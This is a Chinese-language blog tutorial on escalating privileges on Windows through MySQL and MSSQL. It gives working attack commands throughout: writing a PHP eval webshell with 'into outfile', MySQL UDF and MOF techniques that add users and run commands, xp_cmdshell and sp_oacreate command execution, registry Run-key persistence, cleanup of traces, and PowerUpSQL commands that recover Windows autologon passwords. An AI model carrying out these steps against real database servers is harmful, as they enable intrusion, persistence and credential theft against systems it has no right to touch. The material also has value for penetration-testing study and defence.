Windows提權系列————下篇

FLy_鵬程萬里發表於2018-05-13

前言

這一篇的內容主要講的是關於利用資料庫服務來進行提權操作,今天的主要內容是利用mysql、mssql進行提權。

利用Mysql提權

在利用mysql提權之前首先要回顧一下mysql的常用命令:

查路徑:select @@basedir as basePath from dual

查使用者:select * from mysql.user

註冊函式:CREATE FUNCTION shell RETURNS STRING SONAME 'udf.dll'

查版本:select version();

匯出:select load_file(0x633A5C5C626F6F742E696E69) FROM user into outfile 'D://a.txt'

寫檔案:select '<?php eval($_POST[cmd]);?>' into outfile 'F://a.php';

開外連:GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

讀檔案:select load_file('c:\boot.ini')

移動檔案:select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

查詢root密碼

利用mysql提權的三種方式均需要獲取mysql資料庫最高許可權root的帳號密碼。所以我們先討論下如何獲取mysql的root密碼:

1.翻配置檔案。關鍵字:config conn data sql inc database等

2.下載資料檔案並破解密文。

root密碼密文存放在:mysql資料庫儲存目錄/mysq/user.myd中,低許可權下可以用以下命令讀取,或者直接使用暗月的“MYSQL低許可權讀取ROOT密碼工具”,然後使用cmd5解密即可。


3.暴力破解。使用類似於【鳳凰掃描器】(https://github.com/0xwindows/fenghuangscanner_v3)的爆破工具。

利用udf提權

UDF為User Defined Function使用者自定義函式,也就是支援使用者自定義函式的功能。這裡的自定義函式要以dll形式寫成mysql的外掛,提供給mysql來使用。也就是說我們可以通過編寫dll檔案來實現我們需要的功能,UDF編寫可以參考(https://www.404sec.com/7817.html)。利用UDF提權需要知道root賬戶的密碼,並且需要目標系統是Windows。可以使用現成的udf提權工具,下面介紹手工測試的方法。

1.檢視mysql版本

select version();#-->5.7.14

2.上傳DLL檔案

dll檔案可以使用webshell上傳,也可以通過mysql匯出。字尾不一定是dll,可以是任意的。64位和32位版本對應不同的dll檔案,拿32位的dll去在64位系統註冊的話,會提示錯誤:Can't open shared library 'udf.dll' (errno: 193 )

在MYSQL 4.1以前的版本中,可以將所有的DLL檔案裡面的任何函式都註冊到MYSQL裡面以供MYSQL呼叫。無論這個DLL在什麼位置,函式的宣告是什麼樣的。

在MYSQL 4.1及以後的版本中,對UDF函式進行了限制,只有實現了一個特定介面的函式才可以被成功註冊到MYSQL中,這樣就防止了通過MYSQL非法呼叫系統的DLL。

在MYSQL5.0以後,對註冊的DLL的位置有了限制,建立函式的時候,所對應的DLL不能包含/或者\,簡單的理解就是不能是絕對路徑。 所以我們將DLL上傳到包含在PATH這個環境變數內的目錄中來跳過這個限制(執行echo %path%可以檢視可寫目錄,例如:C:\WINDOWS\udf.dll或C:\WINDOWS\system32\udf.dll),或者放到碟符的根目錄下通過c:udf.dll這種形式的寫法來跳過限制。

Mysql5.1及以上版本,必須將DLL檔案上傳到mysql安裝目錄下的lib\plugin資料夾下才能建立自定義的函式。預設情況下’plugin’資料夾並不存在,可能就是為了防止通過into dumpfile將DLL來寫到這個資料夾。可以用命令show variables like '%plugin%'檢視是否存在plugin資料夾。可以在webshell中手工建立lib、plugin資料夾,也可以像下面這樣利用NTFS ADS流來建立資料夾(5.7.14 許可權不足,Errcode: 13 - Permission denied。5.5.8可以。哪些版本可以?):

如果mysql伺服器開啟了secure-file-priv選項,就只能將檔案匯出到指定目錄下。可以通過show variables like '%secure%';查詢secure-file-priv的值。使用#註釋掉mysql安裝目錄下my.ini 或者mysql.cnf中的secure_file_priv="c:/wamp64/tmp"一行,然後重啟mysql就可以將檔案匯出到任意目錄了。(待解決問題:apache使用者有許可權改這個配置檔案並且重啟mysql麼?)

1.建立函式

create function function_name returns string soname 'dll_path' //function_name必須是dll檔案中函式

create function cmdshell returns string soname 'udf.dll'//eg

2.呼叫函式

select function_name(函式引數);

select cmdshell('net user waitalone waitalone.cn /add');#eg

3.刪除函式

drop function function_name;

drop function cmdshell;#eg

-- 或者:

delete from mysql.func where name='function_name';

delete from mysql.func where name='cmdshell';#eg

利用mof提權

Windows 管理規範 (WMI) 提供了以下三種方法編譯到 WMI 儲存庫的託管物件格式 (MOF) 檔案:

  1. 執行 MOF 檔案指定為命令列引數將 Mofcomp.exe 檔案。

  2. 使用 IMofCompiler 介面和 $ CompileFile 方法。

  3. 拖放到 %SystemRoot%\System32\Wbem\MOF 資料夾的 MOF 檔案。

也就是說mof提權其實是windows的問題,而不是mysql的漏洞。第三種方法僅為向後相容性與早期版本的 WMI 提供,因為此功能可能不會提供在將來的版本後。mysql5.7開始預設使用secure-file-priv選項,不能隨意選擇匯出路徑,所以mof提權僅適用於以下條件:

  • 作業系統版本低於Windows Server 2008;

  • mysql 版本低於5.7

可以使用現成的mof提權工具,下面介紹手工測試的方法。

1.檢視mysql版本

select version();#-->5.5.8

2.編寫mof檔案


3.匯出mof檔案

select load_file('C:\RECYCLER\1.mof') into dumpfile 'c:/windows/system32/wbem/mof/test.mof';#先上傳到可寫目錄然後匯出到指定目錄
select char(35,112) into dumpfile  'c:/windows/system32/wbem/mof/test.mof';#直接匯出到指定目錄。35,112 代表 ASCII 碼值表

成功執行之後,會在c:/windows/system32/wbem/mof/good/目錄下多出個test.mof檔案。如果mof檔案不能執行,則會在c:/windows/system32/wbem/mof/bad/目錄下多出個test.mof檔案。

4.清理痕跡。成功提權後清理很及時需要刪除新增的使用者,但是每分鐘又會重新執行指令碼新增使用者。需要使用如下命令清理痕跡:

啟動項/組策略

windows 啟動項和開關機組策略目錄下的指令碼會在使用者登入、開機、關機是自動執行,利用mysql向這些路徑匯出指令碼即可執行任意命令,mysql5.7開始預設使用secure-file-priv選項,不能隨意選擇匯出路徑,所以這種辦法需要目標mysql版本低於5.7。具體操作命令如下:

自執行指令碼路徑整理:


利用Mssql提權

MSSQL作為在Windows系統下最常用的資料庫,利用mssql來提權也是經常會遇到的,下面就針對mssql如何提權做一個詳細的介紹。

獲取資料庫密碼

  1. 翻配置檔案。conn.asp(asp站點) , web.config(aspx站點) , db.inc

  2. 暴力破解。

sa許可權利用

微軟的SQL Server在提權過程中往往也會給我們很大幫助,尤其是當找到SA使用者的密碼時,系統許可權就基本到手了。

xp_cmdshell

得到SA許可權後,我們用的最多的是“xp_cmdshell”這個擴充套件儲存直接執行命令,具體步驟如下:

1.開啟xp_cmdshell

2.執行命令

exec xp_cmdshell 'whoami'

從SQL Server 2005 開始,xp_cmdshell預設是禁用的,而且執行xp_cmdshell可能會觸發安全警報。下面介紹一些其它通過SQL Server 執行系統命令的方法。

sp_oacreate

在xp_cmdshell被刪除或者出錯情況下,可以充分利用SP_OACreate進行提權。

1.開啟元件

2.執行命令

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami >c:\programdata\1.txt'   --執行命令無回顯

詳細介紹:

http://www.cnblogs.com/xiao0/archive/2012/08/09/2630048.html

SQL Server CLR

Microsoft SQL Server 現在具備與 Microsoft Windows .NET Framework 的公共語言執行時 (CLR) 元件整合的功能。CLR 為託管程式碼提供服務,例如跨語言整合、程式碼訪問安全性、物件生存期管理以及除錯和分析支援。對於 SQL Server 使用者和應用程式開發人員來說,CLR 整合意味著您現在可以使用任何 .NET Framework 語言(包括 Microsoft Visual Basic .NET 和 Microsoft Visual C#)編寫儲存過程、觸發器、使用者定義型別、使用者定義函式(標量函式和表值函式)以及使用者定義的聚合函式。 要通過此種方式來執行命令,也有幾個前提:

1.在SQL Server上能啟用CLR並可以建立自定義儲存過程

2.SQL Server當前賬號具有執行命令/程式碼所需要的許可權

具體測試步驟如下:

1.新建專案。安裝Visual Studio和SQL Server資料庫,建立一個新的SQL Server資料庫專案。設定專案屬性,目標平臺修改為需要的目標平臺,如SQL Server 2012; 將SQLCLR許可權級別修改為UNSAFE;修改.Net 框架版本為自己需要的版本;語言選擇C#。右鍵專案,選擇新增->新建項,新建SQL CLR C# 儲存過程。

2.編寫程式碼。

3.編譯。到編譯目錄下可以看到一個dacpac字尾的檔案,雙擊檔案解壓開啟mode.sql,執行sql檔案中的語句:


4.開啟資料庫伺服器配置選項clr enabled:


5.執行命令:

EXEC [dbo].[SqlStoredProcedure1];

6.刪除儲存過程:

DROP PROCEDURE [dbo].[SqlStoredProcedure1];
DROP ASSEMBLY ExecCode

參考連線:

https://evi1cg.me/archives/Exec_OS_Command_Via_MSSQL.html
Agent Job

此種方式適用於伺服器開啟了MSSQL Agent Job服務,並且伺服器中當前執行的使用者賬號擁有足夠的許可權去建立並執行代理作業的情況。

參考連線:

http://bobao.360.cn/learning/detail/3070.html

其他方式

freebuf上有一篇很詳細的文章,連結如下:

http://www.freebuf.com/column/142307.html

dbower許可權

類似於mysql寫指令碼到自啟動目錄下,mssql也可以通過差異備份寫指令碼到自啟動目錄下。差異備份儲存的檔案不只是我們的指令碼檔案,還會有一些我們用不到的垃圾資料。在bat指令碼中,我們可以使用回車把垃圾資料提交了,系統會把它們當成無用命令處理,不會影響指令碼的正常執行,所以我們在這裡選用bat指令碼。而且MSSQL備份的時候,到一定的字元長度就會出現垃圾的字元,那個字元會影響我們的操作。所以我們得把語句儘量縮短。

除了寫指令碼到自啟動目錄下,還可以通過登錄檔實現開機執行命令:

xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\currentversion\run','exec','REG_SZ','cmd /c whoami > c:\programdata\4.txt'

工具——PowerUpSQL(未測試)

針對mssql的的攻擊與利用,有一個強大的工具PowerUpSQL

https://github.com/NetSPI/PowerUpSQL

裡面也有很多針對MSSQL的攻擊方式。這裡介紹兩種利用方式:

  • SP_Addextendedproc
    1、建立DLL

Create-SQLFileXpDll -OutFile C:\programdata\exec.dll -Command "echo Exec test > C:\programdata\test.txt" -ExportName xp_test
2、匯入DLL
//via local disk:
sp_addextendedproc 'xp_test', 'C:\programdata\xp_test.dll'
//via UNC path:
sp_addextendedproc 'xp_test', '\servername\pathtofile\exec.dll'
3、呼叫儲存過程
exec master..xp_test;

4、解除安裝儲存過程

sp_dropextendedproc 'xp_test'
  • xp_regread恢復Windows自動登入憑據

可以將Windows配置為在計算機啟動時自動登入。  在大多數情況下,當Windows配置為自動登入時,未加密的憑據儲存在登錄檔項中:HKEY_LOCAL_MACHINE SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon。PowerUpSQL中的“Get-SQLRecoverPwAutoLogon”函式可以獲取到預設Windows自動登入資訊和備用Windows自動登入資訊(如果已設定),然後它返回相關的域名,使用者名稱和密碼。

$Accessible = Get-SQLInstanceDomain –Verbose | Get-SQLConnectionTestThreaded –Verbose -Threads 15| Where-Object {$_.Status –eq “Accessible”}
$Accessible | Get-SQLRecoverPwAutoLogon -Verbose

參看連結:

https://evi1cg.me/archives/Powerup.html

總結

本文主要講解了利用Windows下的常用資料庫進行提權的各種姿勢,如果大家有什麼意見和建議請積極留言,如果需要詳細交流可以加群尋找作者進行溝通。

相關文章